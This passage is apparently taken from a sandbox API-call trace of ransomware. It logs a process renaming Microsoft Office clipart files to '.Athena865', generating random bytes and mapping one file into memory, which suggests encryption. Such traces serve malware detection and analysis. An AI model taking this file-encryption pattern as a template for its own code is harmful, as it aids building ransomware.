pbBuffer=0x241d188) returned 1 [0132.428] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.429] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA02443_.WMF" | out: lpString1="NA02443_.WMF") returned="NA02443_.WMF" [0132.429] lstrlenW (lpString="NA02443_.WMF") returned 12 [0132.429] lstrlenW (lpString="Athena865") returned 9 [0132.429] lstrcmpiW (lpString1="2443_.WMF", lpString2="Athena865") returned -1 [0132.429] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02443_.WMF.Athena865") returned 73 [0132.429] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02443_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02443_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02443_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02443_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02443_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.430] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1372) returned 1 [0132.430] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.431] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.431] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.434] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.435] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.435] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.435] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA02444_.WMF" | out: lpString1="NA02444_.WMF") returned="NA02444_.WMF" [0132.435] lstrlenW (lpString="NA02444_.WMF") returned 12 [0132.435] lstrlenW (lpString="Athena865") returned 9 [0132.435] lstrcmpiW (lpString1="2444_.WMF", lpString2="Athena865") returned -1 [0132.435] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02444_.WMF.Athena865") returned 73 [0132.436] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02444_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02444_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02444_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02444_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02444_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.437] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2188) returned 1 [0132.437] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.438] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.438] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.442] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.442] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.442] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.443] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA02446_.WMF" | out: lpString1="NA02446_.WMF") returned="NA02446_.WMF" [0132.443] lstrlenW (lpString="NA02446_.WMF") returned 12 [0132.443] lstrlenW (lpString="Athena865") returned 9 [0132.443] lstrcmpiW (lpString1="2446_.WMF", lpString2="Athena865") returned -1 [0132.443] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02446_.WMF.Athena865") returned 73 [0132.443] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02446_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02446_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02446_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02446_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02446_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02446_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.445] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2612) returned 1 [0132.445] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.445] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.445] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.447] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.448] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.448] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.448] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA02448_.WMF" | out: lpString1="NA02448_.WMF") returned="NA02448_.WMF" [0132.448] lstrlenW (lpString="NA02448_.WMF") returned 12 [0132.448] lstrlenW (lpString="Athena865") returned 9 [0132.449] lstrcmpiW (lpString1="2448_.WMF", lpString2="Athena865") returned -1 [0132.449] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02448_.WMF.Athena865") returned 73 [0132.449] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02448_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02448_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02448_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02448_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02448_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.450] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2208) returned 1 [0132.450] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.451] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.451] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.453] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.453] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.453] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.454] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA02450_.WMF" | out: lpString1="NA02450_.WMF") returned="NA02450_.WMF" [0132.454] lstrlenW (lpString="NA02450_.WMF") returned 12 [0132.454] lstrlenW (lpString="Athena865") returned 9 [0132.454] lstrcmpiW (lpString1="2450_.WMF", lpString2="Athena865") returned -1 [0132.454] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02450_.WMF.Athena865") returned 73 [0132.454] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02450_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02450_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02450_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02450_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02450_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02450_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.455] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3112) returned 1 [0132.456] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.456] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.456] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.458] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.459] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.459] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.459] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA02451_.WMF" | out: lpString1="NA02451_.WMF") returned="NA02451_.WMF" [0132.459] lstrlenW (lpString="NA02451_.WMF") returned 12 [0132.459] lstrlenW (lpString="Athena865") returned 9 [0132.459] lstrcmpiW (lpString1="2451_.WMF", lpString2="Athena865") returned -1 [0132.459] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02451_.WMF.Athena865") returned 73 [0132.459] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02451_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02451_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02451_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02451_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02451_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02451_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.461] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3440) returned 1 [0132.461] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.462] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.462] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.464] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.464] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.464] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.465] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA02453_.WMF" | out: lpString1="NA02453_.WMF") returned="NA02453_.WMF" [0132.465] lstrlenW (lpString="NA02453_.WMF") returned 12 [0132.465] lstrlenW (lpString="Athena865") returned 9 [0132.465] lstrcmpiW (lpString1="2453_.WMF", lpString2="Athena865") returned -1 [0132.465] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02453_.WMF.Athena865") returned 73 [0132.465] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02453_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02453_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02453_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02453_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02453_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.466] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3388) returned 1 [0132.466] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.467] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.467] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.469] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.470] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.470] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.470] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NBOOK_01.MID" | out: lpString1="NBOOK_01.MID") returned="NBOOK_01.MID" [0132.470] lstrlenW (lpString="NBOOK_01.MID") returned 12 [0132.470] lstrlenW (lpString="Athena865") returned 9 [0132.470] lstrcmpiW (lpString1="OK_01.MID", lpString2="Athena865") returned 1 [0132.470] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID.Athena865") returned 73 [0132.470] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid.athena865"), dwFlags=0x1) returned 1 [0132.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.472] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5968) returned 1 [0132.472] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.473] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.473] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.475] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.476] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.476] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.477] lstrcpyW (in: lpString1=0x241e8ae, lpString2="OCEAN_01.MID" | out: lpString1="OCEAN_01.MID") returned="OCEAN_01.MID" [0132.477] lstrlenW (lpString="OCEAN_01.MID") returned 12 [0132.477] lstrlenW (lpString="Athena865") returned 9 [0132.477] lstrcmpiW (lpString1="AN_01.MID", lpString2="Athena865") returned -1 [0132.477] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID.Athena865") returned 73 [0132.477] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid.athena865"), dwFlags=0x1) returned 1 [0132.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.481] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5440) returned 1 [0132.481] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.486] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.487] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.494] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.497] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.497] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.506] lstrcpyW (in: lpString1=0x241e8ae, lpString2="OUTDR_01.MID" | out: lpString1="OUTDR_01.MID") returned="OUTDR_01.MID" [0132.506] lstrlenW (lpString="OUTDR_01.MID") returned 12 [0132.507] lstrlenW (lpString="Athena865") returned 9 [0132.507] lstrcmpiW (lpString1="DR_01.MID", lpString2="Athena865") returned 1 [0132.507] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID.Athena865") returned 73 [0132.507] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid.athena865"), dwFlags=0x1) returned 1 [0132.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.508] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6644) returned 1 [0132.508] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.509] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.509] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.512] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.512] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.512] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.513] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PAPER_01.MID" | out: lpString1="PAPER_01.MID") returned="PAPER_01.MID" [0132.513] lstrlenW (lpString="PAPER_01.MID") returned 12 [0132.513] lstrlenW (lpString="Athena865") returned 9 [0132.513] lstrcmpiW (lpString1="ER_01.MID", lpString2="Athena865") returned 1 [0132.513] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID.Athena865") returned 73 [0132.513] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid.athena865"), dwFlags=0x1) returned 1 [0132.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.517] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6763) returned 1 [0132.517] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.517] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.517] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.520] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.521] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.521] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.521] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PARNT_01.MID" | out: lpString1="PARNT_01.MID") returned="PARNT_01.MID" [0132.521] lstrlenW (lpString="PARNT_01.MID") returned 12 [0132.521] lstrlenW (lpString="Athena865") returned 9 [0132.521] lstrcmpiW (lpString1="NT_01.MID", lpString2="Athena865") returned 1 [0132.521] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID.Athena865") returned 73 [0132.521] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid.athena865"), dwFlags=0x1) returned 1 [0132.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.530] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6491) returned 1 [0132.530] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.538] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.538] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.545] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1c60, lpName=0x0) returned 0x154 [0132.547] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1c60) returned 0x100000 [0132.548] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.548] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.548] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.548] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0132.548] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0132.548] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b340 